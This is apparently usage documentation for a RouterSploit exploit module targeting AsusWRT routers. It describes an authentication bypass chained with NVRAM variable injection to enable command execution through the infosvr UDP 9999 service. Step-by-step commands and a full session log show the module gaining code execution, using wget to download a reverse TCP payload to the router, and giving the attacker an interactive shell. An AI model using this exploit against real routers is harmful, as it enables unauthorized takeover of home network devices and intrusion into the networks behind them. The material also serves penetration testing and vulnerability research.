## Description

Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use exploits/routers/asus/asuswrt_lan_rce`
  3. Do: `set target[TargetIP]`
  4. Do: `run`
  5. If router is vulnerable, it should be possible to execute commands on operating system level.

  6. Do: `set payload reverse_tcp`
  7. Do: `set lhost [AttackerIP]`
  8. Do: `run`
  9. Payload is sent to device and executed providing attacker with the command shell.


## Scenarios

```
rsf > use exploits/routers/asus/asuswrt_lan_rce
rsf (AsusWRT Lan RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (AsusWRT Lan RCE) > run
[*] Running module...
[+] Successfuly set ateCommand_flag variable

[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.

cmd > show payloads
[*] Available payloads:

   Payload         Name                  Description
   -------         ----                  -----------
   bind_tcp        ARMLE Bind TCP        Creates interactive tcp bind shell for ARMLE architecture.
   reverse_tcp     ARMLE Reverse TCP     Creates interactive tcp reverse shell for ARMLE architecture.

cmd > set payload reverse_tcp
cmd (ARMLE Reverse TCP) > show options

Payload Options:

   Name        Current settings     Description
   ----        ----------------     -----------
   lhost                            Connect-back IP address
   lport       5555                 Connect-back TCP Port
   encoder                          Encoder


cmd (ARMLE Reverse TCP) > set lhost 192.168.1.115
lhost => 192.168.1.115
cmd (ARMLE Reverse TCP) > run
[*] Using wget method
[*] Using wget to download binary
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.1.1:56981
[+] Enjoy your shell
ls -la
drwxr-xr-x   18 admin    root           325 Mar 15  2017 .
drwxr-xr-x   18 admin    root           325 Mar 15  2017 ..
drwxr-xr-x    2 admin    root             3 Mar 15  2017 asus_jffs
drwxr-xr-x    2 admin    root           706 Mar 15  2017 bin
drwxr-xr-x    2 admin    root             3 Mar 15  2017 cifs1
drwxr-xr-x    2 admin    root             3 Mar 15  2017 cifs2
drwxr-xr-x    5 admin    root          1540 Aug  1  2015 dev
lrwxrwxrwx    1 admin    root             7 Mar 15  2017 etc -> tmp/etc
lrwxrwxrwx    1 admin    root             8 Mar 15  2017 home -> tmp/home
drwxr-xr-x    5 admin    root             0 Sep  4 22:40 jffs
drwxr-xr-x    3 admin    root           402 Mar 15  2017 lib
lrwxrwxrwx    1 admin    root             9 Mar 15  2017 media -> tmp/media
drwxr-xr-x    2 admin    root             3 Mar 15  2017 mmc
lrwxrwxrwx    1 admin    root             7 Mar 15  2017 mnt -> tmp/mnt
lrwxrwxrwx    1 admin    root             7 Mar 15  2017 opt -> tmp/opt
dr-xr-xr-x  106 admin    root             0 Jan  1  1970 proc
drwxr-xr-x    7 admin    root           766 Mar 15  2017 rom
lrwxrwxrwx    1 admin    root            13 Mar 15  2017 root -> tmp/home/root
drwxr-xr-x    2 admin    root          2428 Mar 15  2017 sbin
drwxr-xr-x   11 admin    root             0 Jan  1  1970 sys
drwxr-xr-x    2 admin    root             3 Mar 15  2017 sysroot
drwxrwxrwx   13 admin    root           860 Sep  4 22:50 tmp
drwxr-xr-x    8 admin    root           139 Mar 15  2017 usr
lrwxrwxrwx    1 admin    root             7 Mar 15  2017 var -> tmp/var
drwxr-xr-x   14 admin    root          6036 Mar 15  2017 www
```
